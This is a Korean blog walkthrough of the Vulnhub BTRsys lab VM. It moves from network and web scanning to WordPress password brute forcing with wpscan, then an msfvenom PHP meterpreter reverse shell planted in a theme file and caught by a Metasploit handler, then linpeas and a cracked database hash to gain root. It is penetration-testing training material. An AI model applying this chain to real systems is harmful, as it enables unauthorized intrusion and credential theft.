vulnhub

Vulnhub[BTRsys 환경 실습]

sheow13 2023. 8. 14. 09:06
728x90

BTRsys 환경 실습

 실습 환경

- VMware로 구성

- Kali Linux[설치 경로 : https://www.kali.org/get-kali/#kali-virtual-machines]

- BTRsys[설치 경로 : https://www.vulnhub.com/entry/btrsys-v21,196/]

 

진행 절차

Reconnaissance(정찰)

Step 1. BTRSys 환경 VMware에서 부팅 시, login 페이지가 뜨나 계정 정보를 알고 있지 않음

  - 해당 서버에 취약점을 이용하여 계정 정보를 몰라도 권한 탈취가 목표

[계정 정보를 몰라도 루트 계정 탈취하는 것이 목표]

 

Step 2. 해당 서버 IP정보를 획득하기 위하여 Kali Linux를 활성화 후, 같은 네트워크 IP 대역 정보를 획득

Kali Linux와 BTRSys를 VMware에서 NAT로 같은 네트워크로 설정 필요
VMware에서는 x.x.x.[1,2,254]는 예약된 IP로 해당 IP 이외에 탐지된 IP 확인 필요
명령어
root@kali#arp-scan –I eth0 -l

[내부 네트워크 스캔 도구인 arp-scan 점검 결과]

 

 

Step 3. 해당 서버 Open된 포트 및 설정 정보들을 확인하기 위하여 NMAP을 사용하여 정보 수집

- Open된 포트 : FTP(21/TCP), SSH(22/TCP), HTTP(80/TCP)
- NMAP을 통해 발견한 사실 :
 ⓵ FTP가 익명(Anonymous)으로 다 접속이 가능한 것으로 확인.
 ⓶ OpenSSH 7.2p2를 사용
 ⓷ Apache httpd 2.4.18을 사용하고 있는 것으로 확인
- searchsploit을 사용하여 발견한 정보를 활용할 수 있는지 확인
- 조회해본결과, FTP는 해당 버전을 이용하여 공격할 항목이 없으며, SSH, Apache 역시 해당 버전에 맞는 공격은 없는 것으로 확인

 

명령어
root@kali#nmap –sC –sV [점검할 IP]
root@kali#searchsploit [점검할 버전]

[nmap 점검 결과]
[searchsploit 점검 결과]

 

Step 4. 추가 정보를 수집하기 위하여 취약점 스캔 툴인 nikto를 사용하여 점검 진행

nikto를 통해 확인해본 결과, wordpress를 사용하는 것으로 추측
명령어
root@kali#nikto -h [점검할 IP]

 

[nikto 점검 결과]

 

Step 5. 추가 정보를 수집하기 위하여 디렉토리 스캔툴인 dirb를 사용하여 스캔 시도

조회해본 결과, wordpress 페이지를 사용하고 있으며 관리자 페이지에 접근 가능한 것으로 확인
명령어
root@kali:dirb [점검할 URL 주소]

[dirb 점검 결과]
[워드프레스 관리자 페이지 접근 가능 확인]

 

Initial Access(초기 침투)

Step 6. wordpress 관리자 계정 획득을 위하여 wp-scan을 통해 관리자 계정 brute force 시도

wpscan은 워드프레스 관련하여 스캔해주는 툴로서, 워드프레스 버전 정보, 사용자 정보, 테마 정보 등을 수집할 수 있는 도구
wpscan을 통해 수집한 계정 정보는 ID:admin, PW:admin으로 확인
명령어
wpscan -e u --url [URL 주소] 
wpscan --url [URL 주소] --passwords [사전 파일] --usernames [사용자 명] --max-threads [쓰레드 수]

[워드프레스 스캔 도구인 wpscan을 통해 조회해본 결과, 'admin'이라는 사용자 계정이 있는 것으로 확인]
[wpscan 기능 중 사전 대입 기능을 이용하여 패스워드 크랙 성공 확인]

 

Execution(실행)

Step 7. wpscan을 통해 획득한 계정 정보로 로그인 후, wordpress 파일 업로드 취약점 활용하여 리버스 쉘 권한 획득 시도

wordpress의 경우 테마(Thema)를 통해 홈페이지 소스 코드들을 관리하는데, 입력값에 대한 적절한 검증 절차를 진행하지 않아 웹쉘 등이 업로드 가능하여 이를 이용하여 관리자 권한 획득 등을 수행할 수 있음
※ 리버스 쉘은 msfvenom을 사용하여 생성

 

명령어
msfvenom –p php/meterpreter/reverse_tcp lhost=[Kali IP] lport=[listen port] -f raw

[msfvenom을 통해 리버스쉘 연결을 위한 웹쉘 생성]
[워드프레스 테마에서 입력값에 대한 검증을 하지 않는 것을 이용하여, 테마에 생성한 웹쉘 등록]

 

Step 8. 생성한 리버스 쉘과 연결하기 위해 msfconsole을 통해 연결 시도

경로 : http://ip/wordpress/wp-content/themes/twentyfourteen/404.php
명령어
root@kali#msfconsole
msf6>use exploit/multi/handler
msf6 exploit(multi/handler)>set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler)>set lhost [Kali IP]
msf6 exploit(multi/handler)>set lport [Kali Port]
msf6 exploit(multi/handler)>exploit

 

[업로드한 웹쉘 리버스 쉘 연결 대기를 위하여 metasploit 실행]
[리버스 쉘 연결을 위하여 미터프리터 설정]
[리버스 쉘 연결 대기할 Kali Linux IP 및 Port 설정 후 웹쉘 경로로 접근 시 리버스 쉘 연결 확인]

 

 

Privilege Escalation(권한 상승)

Step 9. 리버스 쉘을 통해 획득한 권한 조회 시 root가 아닌 www-data 권한으로 확인되어, 권한 상승을 위하여 Linpeas(Linux Local Privilege Escalation Awesome Script)를 해당 서버로 업로드하여 스캔 결과, mysql db 계정 정보 노출 확인

Linpeas : 리눅스에서 취약한 설정 정보 및 해당 서버에 취약한 CVE 코드 등을 스캔해주는 모의해킹 전문 툴
명령어
meterpreter > cd /tmp
meterpreter > upload linpeas.sh
meterpreter > shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu: cd /tmp
www-data@ubuntu: chmod 777 linpeas.sh
www-data@ubuntu : ./linpeas.sh

[루트 권한이 아닌 웹 권한(www-data)로 확인]
[권한 상승을 위하여 리눅스 점검 스크립트인 Linpeas 업로드 시도]
[데이터베이스 계정 정보 입력한 이력 확인하여 해당 계정으로 접근 시 정상적으로 데이터베이스에 접근 가능 확인 ]

 

Step 10. mysql로 접속 후 워드프레스 사용자 계정 정보를 포함하고 있는 테이블 조회 시, hash값으로 암호화 되어 있는 것으로 확인되며, 패스워드 크랙 사이트인 ‘crackstation’에서 조회 시, 패스워드 크랙 성공 확인

[패스워드 crack 사이트에서 조회 결과, 패스워드가 'roottoor'임을 확인]
[해당 계정 정보로 접근 시, root 계정으로 접근 가능 확인]

 

'vulnhub' 카테고리의 다른 글

Vulnhub [Moriarty Corp]  (1) 2023.10.17
vulnhub[hackable3 환경 실습]  (0) 2023.08.16
Vulnhub[holynix]  (0) 2023.08.16
Vulnhub[Kioptix Level1]  (0) 2023.08.16
Vulnhub[Win7 환경 실습]  (0) 2023.08.16